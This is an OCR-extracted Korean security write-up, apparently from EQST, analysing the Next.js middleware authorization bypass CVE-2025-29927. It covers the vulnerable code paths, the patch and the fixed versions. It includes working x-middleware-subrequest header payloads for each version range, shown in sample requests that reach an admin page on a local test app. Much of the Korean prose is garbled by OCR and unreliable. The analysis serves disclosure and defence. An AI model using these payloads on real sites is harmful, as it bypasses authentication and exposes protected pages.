EQST Admin Dashboard

& Welcome to the EQST admin panel.

rdl

a2l 5 middleware 215 23|

Jiok
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HorE AN EMolME CVE-2025-29027 #IobEel w4 RI2|RE oIF 23 IEMX wAXoR

HAFSIC. Step 10|lM= Nextjs 2 middleware 7iigzt HHE EZS AJNetCt Step 2 WA= 2 HZES
middleware TR0 LIEH Fof X|F1}, O|F &ESt 21T R3] 7|Hs HFelrt

Step 1. Next.js middleware
1) Next.js middleware 2| E%
Middleware = 2¥-8& F7|0M 22t0|A Eo| 2730

| OHE=2|AH|0[d0| E=Fot7| Hof| A== S
AELZ, SHO| MEE7| Hol FIHHQl NS =38 ==

UL
Nextjs OlMe O] 7|58 Sd 28 ™ AF, 01|E‘| e, 2O S8 #eg = A2M, mid-
dleware.ts == middleware.js IS Sl E-QIE._“:f. Middleware IS T=HE x| 4| C|AEZ|0]
app, pages 02t Lizts| @IX|SHALE, sre CIAEZ| Lol ZatE &~ QUCH
T AE 04 1 Y E 04 2 T Z oA 3
-viz2 ©® oiy fx -v122 0|F OY 7= -v12.2 0| oty A=

‘ ; L
- = =

app (app router, vi3 0l F=7h

_middleware.ts index.tsx t

app (app router. vi3 OlA &=7h

pages
index.tsx L .
B public middleware.ts

dashboard E
public

_middleware.ts middleware.ts

a2l 6. I XM middleware 2|X| Of|A|

2) Next.js HHE Middleware E%
Nextjs = v12.2 £E middleware & ¥I2[0|=5t1 IHX|5t0{, O|=F middleware AIE A0 EL3t
HSH7F UACE.
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(1) v12.2 O]9 HA

Nextjs v12.2 Ol HHEO|ME Z2E CIAEZ|HA middleware & Holg £
QH0| S0{2H A9l ClUER|HE 2| ClAEE| 292 middleware £ Xl2|2 AldH
OlE =01, /pages CIHEZ|0| middleware 7} HOlE|0f J2H, 1 index.tsx 2t about.tsx, teams.tsx
HA| 80| siet middleware 7t MEEICt
- package.json

- [pages
L middlesware.ts # Will run on all routes under /pages

2

Ch. o] He Mp=
strt.

=
rot

L index.tsx
L about.tsx
L teams.tsx

12! 7. /[pages CIAEZ| L] _middleware It

= o
I: 7Od_l_

ISt /pages, /pages/about, /pages/about/teams 2t CIZIEZ|0| middleware 7t H2|=|0f

4

0| So{2® Cl2Ee|o| Az X0 ufet M9IRE 59| 2AE middieware 7 MBI},

- package.json

- [pages
L middleware.ts # will run first
L index.tsx
L Jabout
L middleware.ts # will run second
L about.tsx
L fteams
L middleware.ts # will run third

L tTeams.tsx
a2l 8. SHEl _middleware OFY AlsH 2A]
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(2) v12.2 O] HXH

Next.js v12.2 BEE{= middleware DILEOA  O|A underscore(l)E AMESHK| 9o, md
middleware.ts == middleware.js £ HAZIRUCt, Eot CIAEZ|EZ middleware £ 8 Host
gAlo| X|AEX| @, TEME FEL} pages CIHMEZ|Q HH £x0| T 5HLte| middleware THY

2 UCH

O|M3 C|HEZ| tHe|9] middleware 80| 27tsSsHX|HA, EX Z=20]| CHs middleware
matcher HX™Z 2EdljoF SiCl O =01, /admin 22 A|&SH= HZ0| middleware
Of2Het 20| matcher Ol slieh THEHS X|HsHOF ST},

mO
2

oo olo
OF O
TG
g rg mn rirorio

M
oA

1 import { NextResponse } from 'next/server’

2 import type { NextRequest } from 'next/server'

3

4  export function middleware(request: NextRequest) {

5 return NextResponse.rewrite(new URL('/about-2', request.url))
6 }

2

8 // Supports both a single string value or an array of matchers
9  export const config = {

10 [matcher: ['/about/:path', '/dashboard/:path'],]

11 ]

12l 9. matcher 43 0jjA] =

L= Of2fet #0| middleware LHF0| ZHES ZHddl, 2 F=0 U2t Sis 2718 = UCh 0
MIALS matcher METIOZE FOf8l7| Of2{e Exre £710| TR A0 S8t HBELL,

1 impert { NextResponse } from 'next/server'

2 import type { MextRequest } from 'next/server'

3

4 export function middleware(request: MNextRequest) {

5 [if (request.nexturl.pathname.startswith('/about"))| {

6 return NextResponse.rewrite(new URL('/about-2', request.url))

7 h

8

9 [if (request.nextUrl.pathname.startsWith('/dashboard"))| {

10 return NextResponse.rewrite(new URL('/dashbecard/user’, request.url))

11 1

12 )

gl 10. =A 27| oA 2E
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Step 2. Next.js middleware Q1F 73 I HHH 23| qity

1) middleware & 8%t 215 31¥

Nextjs OlM HZst= Q15 TH HAl Z0j= middleware £ E238= T ZoiE|of QUCL K2 S0,
OfZfi= AMRXF At w2t EX ZZ=Z 2IClo2lMst= FE9| Ao H

&7|Lt, H3t 5 Ao w2t M2 Hojsts 59| #E M7t et M=o R83HA AFEEIC

=1
1 import { MextRequest, NextResponse } from 'nexi/server’
2
3 // Protected and Public Routes
4 const = ['/dashboard']
5 const = ['/login', '/signup', "/']
6
7 export default async function middleware( : NextRequest) {
8 /{ Some authentication logic
a return NextResponse.next()
18 r
11
12 // Routes Middleware should not run on
13 export const config = {
14 matcher: ['/(?!lapi|_next/static| next/image|.*\\.png8).*'],
1% r

e

33 11. middleware & E8%3t Next.js 215 713 0f|A|

middleware £ E3ff Q152 1¥st S QIF g0 /admin ASZAEN IS AZSHH ofzfet Zo|
LHO| Ktz =

< C ® [localhost:3000/admin| )% 5} AN @ :

pretty print &2 ()

"success" false, "message"! "authentication failed"}

12l 12. x-middleware-request A4S 11
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Nextjs & WEHOZE x-middleware-subrequest SIlCIE &3 sie Mol CHei middleware 7t
o0 AMHME|AE=X|S WCISCE 0] ZEI2 v12.01 7|F, /packages/next/server/next-server.ts It
LHOIA &felgt = Aot FE9| £ SE2 Ct3at 2Lt

638 const subreq = params.request.hsaders[ x-middleware-subrequest” ] o

631 const subrequests = typeof subreq === 'string' ? subreg.split(':') : []

632 const allHeaders = new Headers()

633 let result: FetchEventResult | null = null

634

656

651 |if (subreguests.includes{middlewarsInfo.nams)) |e

652 result = {

653 |response: NextResponse . next( |o

654 waitUntil: Promise.resoclve(

B55 i

656 continue

657 1

12l 13, x-middleware-request Z4Z 1A
® x-middleware-subrequest SIHE S MEE A4S colon(:) 7|ECE LR HIEE FAIC
® FHE H{E0| middlewarelnfo.name #H2| Zf0| U=X| SHQlsiCt,
S

® TreF slieh 20| =XHSICHH NextResponse.next() 4+E S8 middleware € FAISt, CHS X2
A2 g7t RS B Z=9| SEHE =Lt

olm, middlewarelnfo.name 2| Zt2 [packages/next/server/next-serverts It Li getMid-
dlewarelnfo &+E &4 2EEICE O] ez 2F F=0| tHE3h= middleware EE 7=

Aot S
StH, diet MEE HIEIOZ x-middleware-subrequest SIS ZAKSHH mid-dleware &3 &S

THERSHA| ECt.

698 const middlewareInfo =|ge:.‘-1idd1el.ler*eInFD( {
6949 dev: this.renderOpts.dev,

786 distDir: this.distDir,

7a1 page: middleware.page,

782 serverless: this. islikeServerless,

783 1)

a2l 14. getMiddlewarelnfo  E2{2= middlewarelnfo
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St

getMiddlewareinfo &4 [packages/next/server/require.ts ItA0| THE| U2l X|HE HZO
si=tét= middleware MEE ZHA| HEZ BHStSICL,
export function getMiddlewareInfo(params: {
dev?: boolean
distDir: string
page: string
serverless: boolean
11 { name: string; paths: string[] } {
const serverBuildPath = join(
params.distDir,
params.serverless &% !params.dev ? SERVERLESS_DIRECTORY : SERVER_DIRECTORY

L

no=

-] N

LT ]

L pa

=

const middlewareManifest: MiddlewareManifest = reguire(join(
serverBuildPath,
MIDDLEWARE_MANIFEST

i

LU T e R ¥ e ¥ v LY i L e T e [ ¥ Y o R v [ v« [ v« I v o B v R v ]
= @

= O

15. getMiddlewarelnfo Lf MIDDLEWARE_MANIFEST Z&

0] 222 Nextjs 7t LEE = MME[E= next CIFEZ| LHQ| .next/server/middleware-manifest.json
oS =5t middleware BEE 22{2Ct.

11 "middleware"

12 "

13 "env": [],

14 "wasm": [],

15 "files": [

16 "server/middleware-runtime.js",

17 "server/pages/_middleware.js"

18 1.

19 ["name”: "pages/_middlewarse”,|

28 "page": "/",

21 "regexp”: "~S(?! _next).Fg"

22 F

23 s

24 "version": 1

25 r

32! 16. middleware-manifest.json L middleware name EE

middleware-manifest.json LtC| name 7|= ZI middleware 2| 2[xX| ZZE LIEPAHCE oo 2t
middlewarelnfo.name 22 %ZX2Z pages/_middleware 7t L. O|= ClHE E=FE Solf A& =2l
w2 =eIMS moll SUSHA UEICEH

RUM AMD DEBUG

}

~ VARIABLES

~ Block: runMiddleware

~ middlewareInfo = {name: 'pages/_middleware', paths: Array(2), en Array (e asm: Array(@
> env = (@
| name = 'pages/ middleware’ |

a2l 17. CIHHE Eoff &2l middlewarelnfo.name 2| 2}
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=

%, x-middleware-subrequest &I 20| pages/_middleware 2 MHE|H gt @HE2 0[0] mid-
dleware £ E35t 40 Z Ma|=ICL 0|2 28 middleware 7t AME|X| ol LN FHEl 215 HX}

- o =
HA| 220 o= A0 F|oAFH0| LUsHA ECt.

m & Cance < v Target: http://localhost:3000 y HTTR/
nf=
Request
Raw Hex = n =

GET /fadwmin HITP/Ll.1

Host: localhost:3000

User-Agent: Mozilla/5.0 (Windows HNT 10.0; Wingd; x64) AppleWebKit/537.3& (FHTML, like Gecko) Chrome/134_0.0.0
Safari/537. 36

;|x—middlevare—subrequest: pages!_middleuarel

@ IEIE £ 0 highlights

Response

Pretty Raw Hex ender

EQST Admin Dashboard

,&W’elcome to the EQST admin panel

4

ol

[

tok

12! 18. middleware 2= I}H 3|

J

A Step 1 0| MEHMZ, v12.2 O] HHOA = CIHEZ|EE middleware E 708 Folg £+ UC

-
°

AL pages ZZ ofzfof] Ho|=l Z} middleware AZZ x-middleware-subrequest 8i|C Ziof| &245HH
F FHXE g £ ok 37 8 oAlel AR pages/about/_middleware E&=

pages/about/teams/_middleware € dl|H0| X|™5tH, i middleware € ?2|5t= 40| 7+SSICt.

3) v12.2 0|4 v14.2 OJ9t KA

x-middleware-subrequest Off CHgt 2Z2 HAL[X] QAU7| WZ0], o|Xut ORXZIX|Z s o
middleware ZEE AXSIH 2FS 22 £ ULCL v12.2 BE= middleware It HO| middleware.ts
middleware.js 2 HZAEJUD, {IX|T pages CIAEEZ| L{FE7} Ofd 1ot LIEGH A9 ZE2=

=3
EE|QUCt, o]0 w2t middleware AZE 7|Z9| pages/_middleware 7} Ot THa3| middleware 2

olet &2 HZA A2 .next/server/middleware-manifest.json DIUOIA ZQIEH 4 Qlom o] mAUS
£ middleware 2 ZZ7t pages/_middleware HiA| middleware 2 HAEZ Zig & £ ULCE

5 "middleware":

il "

7 "env": [],

8 "files": [

9 "server/edge-runtime-webpack.js",

18 "server/middlewars.js"

11 1,

12 ["name": “"middleware” |

13 "page": /",

32! 19. middleware-manifest.json L middleware name EE
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f12] Nextjs v12.2 ARt DREZEXIZ, CIHAHE Soif & ¢l US =lskH oig 2ol mid-
o

dleware IS &olgt & ULt

RUM AMD DEBUG [> | Mextjs: debug API (server-side) ~ £ ...
~ VARIABLES

~ Local: runMiddleware

| name = ‘middlewa re‘l

a2l 20. CIHHE Edl &lst middlewarelnfo.name 2| 2t

OFEE7ER| 2, x-middleware-subrequest SIE2| 2f2 middleware 2 HHSIH 015 HXE 222 o UL

m ) Cance <|v Target: http://localhost:3000 ﬁ HTTP/1

Y =]
Request

Pretty Raw  Hex & n =

1 GET /admin HTTRP/1.1

2 Host: localhost:3000

3 User—Agent: Mozilla/5.0 (Windows MT 10.0; Win64: x64) AppleWebl(it/537.36 (KHTML, |ike Gecko) Chrome/135.0.0.0
Safar1/537 .36

4|x-middleware-subrequest: middleware|

5

@ @ € ||| | search jol

@ highlights

Response

Pretty Raw Hex nder

EQST Admin Dashboard

&= Welcome to the EQST admin panel.

o

tol

[

tok

12 21. middleware 2= 1M 23|

J
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4) v14.2 0| HH

Nextjs v14.2 BEE{= middleware 2| x-middleware-subrequest sIH2Q| Zto ZgHel middleware
ZE7} colon()g 7|ECE YUH 3l oY HtEEM ST RMO0| middleware E 2[5t=E TLTL
HZAE|ALCY.

Ol= /packages/next/src/server/web/sandbox/sandbox.ts ZEE Edf &olg & ULt

96 const subreg = params.request.headers[ x-middleware-subregquast’ |
a7 const subrequests = typeof subreq === 'string’ ? subreg.split({':") : [] o
a8

99 const MAX_RECURSIOM_DEPTH = 5

182 const depth = subrequests.reduce(

181 {facc, curr) =» (curr === params.name ? acc + 1 : acc), e
182 B

183 )

184

185 if (depth »= MAX_RECURSION_DEPTH) {

186 return {

187 waitUntil: Promise.resolve(),

188 response: new runtime.context.Response(null, {

189 headers: {

11@ 'x-middleware-next': "1°, o
111 1,

112 1),

113 )

114 B

® x-middleware-subrequest SIHE Sol HHE 22 colon()) 7|E22 Liw|AM BIEE FotCt.
® FMEl H{EO| params.name 49| Zto| & J47} Q! )
® TFeF params.name M| 20| 58 Of& gH=0| EICHH middleware £ ZIHF11 NS EH F=9
o
=)

£HS HR=[},

=] [ g
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of7|M params.name 2 YA  AHFP  middleware.name I S o2,
O|= .next/server/middleware-manifest.json It} CIHAUS Eaff &l 4 Tt

3 "middleware”: {

4 "t

5 "files": [

6 "server/edge-runtime-webpack.js",
7 "server/middlewars.js"

8 1,

9 I“nawe”: "middlewars",

18 "page": "/",

11 "matchers™: [

12 {

13 "regexp”: "~SUFRY,

14 "originalSource”: "/:path*"
15 1

12l 23. middleware-manifest.json L middle

ware name MH

RUM AND DEBUG

~ WARIAELES

~ Local: runWithTaggedErrors

_params_request_body = undefined
_params_request_bodyl = undefined
~ params = {distDir: 'C:\\Users‘\hunpipel‘\\Desktop\\rnt_envi\cased\\.
distDir = 'C:\\Wsers\\hunpipel\\Desktopi\\rnt_envi\cased\\.next’
> edgeFunctionEntry = {name: ‘middleware’, paths: Arr Jasm:
[name = 'middlewars’]

[> | MNextjs: debug API (server-side) ~ 8 ..

NEXT , name:

a3 24. CHIHE Sl

gloIst params.name 2|

4
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2td, v14.2 0|F0= colon()& 7|Z2Z middleware ZZ7t 5 H

old gr=E[0{0F olEZ,

—
middleware:middleware:middleware:middleware:middleware 2t Z2 Zf2 x-middleware-
subrequest di|C{0f| 25HH middleware 52 g 4+ UL

m ) Cancel Target: http://localhost:3000 f HTTRA
=

Request

Prethy Raw Hex & no =

1 GET Jadmin HTTP/1.1

2 Host: localhost:3000

3 User—Agent: Wozilla/5.0 (Windows NT 10.0; Win64: x864) AppleWebl{it/537.36 (KHTML, like Geclo)

Chrome/135.0.0.0 Safari/537.36
4| x-middleware-subrequest: middleware:middleware:middleware:middleware:midd|eware|

®{§} & ||| | Search

Response

Pretty Raw Hex Render

EQST Admin Dashboard

&= Welcome to the EQST admin panel.

£ | 0 highlights

ol

[

tok

a2l 25 middleware 215 IHH 23]

J

5) HE'E middleware 23| payload

2 61 20[, middleware = src CIEEZ| Lo /X[ == UL} [ZHA, x-middleware-subrequest

s Ztoz e 4 QU= middleware 23| payload = HFEZ ofafet ZiCt.

= 23] payload G|A|
v12.2 Ojat pages/[SubDirectory]/_middleware = ages/[subdirectory]/_middleware

v12.2 0|4 v14.2 Ojat

middleware EE= src/middleware

v14.2 o[ &

middleware:middleware:middleware:middleware:middleware &=

src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
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W LS diot

Next.js middleware Q&5 23| #[2FHQl CVE-2025-29927 2 F|kH HRLKIQ! zhero:2t inzo ol 2lsH
LAHCAUCH, 2025 'H 2 & 27 Lof| M2 AMIEAULCE
«URL:https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-
middleware#section-7

S FUFM2 20254 3 H 18 Yol IX|=[A2H, ofof CHet Hot M= 3E 21 ol SHE[UCE
«URL: https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw

v15.2.3 0 THX|E LHHS MTHEH o Hot =X|I7F FSiM=X| el 4~ k.

«URL: https://github.com/vercel/next.js/compare/v15.2.2...v15.2.3

M, packages/next/src/server/lib/router-server.ts Ol crypto.getRandomValues &+E ALESI0
8 HIO|EQ| 2HH Z+E MAMSICE 0| 0] 2 @next/middleware-subrequest-id o CH$H Ztoz HMH
s 4 of| KZEetCt.

(v : 9 HEEE packages/next/src/server/lib/router-server.ts |'_|.:|

. @@ -166,9 +166,16 @@ export async function initialize(opts: {

166 166 renderServer.instance =

167 167 require('./render-server’) as typeof import('./render-server')

168 168
169 + const randomBytes = new Uint8Array(8)
170 + crypto.getRandomValues(randomBytes)
171 + const middlewareSubrequestId = Buffer.from(randomBytes).toString( 'hex")
172 + ;(globalThis as any)[Symbol.for( @next/middleware-subrequest-id')] =
173 + middlewareSubrequestId
174 4

12l 26. packages/next/src/server/lib/router-server.ts 8 Afg

rr

4 Ho| ¥ (global variable): B40| QIR0 HoIE W4z, Z2I ofCjMLE I 4+ Yt w4

i
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0|=, packages/next/src/server/lib/server-ipc/utils.ts OflA] FHE ZHZ 1MHS  x-middleware-
subrequest dlE2} x-middleware-subrequest-id 8l|lCf 20| Z=XHst=X| 2RIk, x-middleware-
subrequest-id 3l Zf0| M MY H0| X{EE @next/middleware-subrequest-id 2t LX[S=X|
ZAFSICE BroF Zho| YX|StX| 4o™  x-middleware-subrequest SIS AtXsto] 0|2 288 £ QxS

= o
af=Ct.

v -y 11 HEEEE packages/next/src/server/lib/server-ipc/utils.ts |'_|.:|

gz @@ -57,5 +57,16 @@ export const filterInternalHeaders = (

57 57 if (INTERNAL_HEADERS.includes(header)) {

58 58 delete headers[header]

59 59 1
60 +
61 // If this request didn't origin from this session we filter
62 4+ // out the "x-middleware-subrequest” header so we don't skip
63 4+ // middleware incorrectly
64 4 if (
65 4+ header === 'x-middleware-subrequest’' &&
66+ headers["x-middleware-subrequest-id’'] ==
67 + (globalThis as any)[Symbol.for( @next/middleware-subrequest-id')]
68  + ) A
69 4 delete headers|'x-middleware-subrequest’]
70 o }

38l 27. packages/next/src/server/lib/server-ipc/utils.ts $8 Algt

AMEXtE LHEXMOZE XZEE[= 8 HIOIE Lt ZF2 OEY £ fICEE, MH HOM= x-middleware-
subrequest si|HE QHHSHA| 28310 middleware LiF & o olCt.

2
{r
i
I—-l-
nk
et
4>

Forst HE A2 oEE= AATE L package.json MUS Esf =olgt 4 QUCH 15.2.3 0|2 14.2.25
0J2k 13.5.9 0|2k 12.3.5 0|2k 11.x HHO| F A5t HFO|BZ, slEt

o
middleware-subrequest 7t SAXI0|AH AEE|X| RAEE KItHsh= A0| FQSICE

F
rad
I
Rl
0
oM
o
L]
g
2
s
il
Ofm
ey
x
1

T 1
2 "nmame": "cased",

3 "version”: "8.1.8",

a4 "private": true,

5 "scripts": {

6 "dev": "next dev",

7 "build": "next build”,
8 "start": "next start”,
9 "lint": "next lint"

18 1.

11 "dependencies™: {

12 "peact”: "M19.8.87,
13 "react-dom™: "~12.8.87,
14} g
15 1,

6 "devDependencies™: {

7 "typescript™: "~5",
18 "@types/node”: "~28",
19 "@types/react”: "~18",
28 "@types/react-dom”: ""18",
21 "postcss”: "8",
22 "tailwindcss™: "~3.4.1"
23 }
24}

12l 28, ¥|oFst next.js A A2 OfA|
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CHek 1Mx H™2 olo] X|Y}o| BRE0 o ol mX7t 27+sSIEZ, 34 X

Al RjRlo] XI&ED Qs
15 BfHoZo| ojo|a3oldg Mt o}

|

oo

OtMTt HEO=ZQl X7t o AFol2tH
middleware-subrequest SIHE IZalot 25 AEXIC] RFO| Next.js OHZZ|AH|O|M0| E=EHTIX| ATE
Kctsh= 0| HEEHEISICE
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- Wikipedia (Next.js) : https://en.wikipedia.org/wiki/Next.js

- Wikipedia (Static web page) : https://en.wikipedia.org/wiki/Static_web_page

- Wikipedia (Server-side rendering) : https://en.wikipedia.org/wiki/Server-side_scripting
- Project structure and organization (Next.js docs) : https://nextjs.org/docs/app/getting-
started/project-structure

- middleware (Next.js docs) : https://nextjs.org/docs/app/building-your-
application/routing/middleware

+ Next.js and the corrupt middleware: the authorizing artifact (zhero_web_security) :
https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
- Authorization Bypass in Next.js Middleware (GitHub Security Advisory) :
https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
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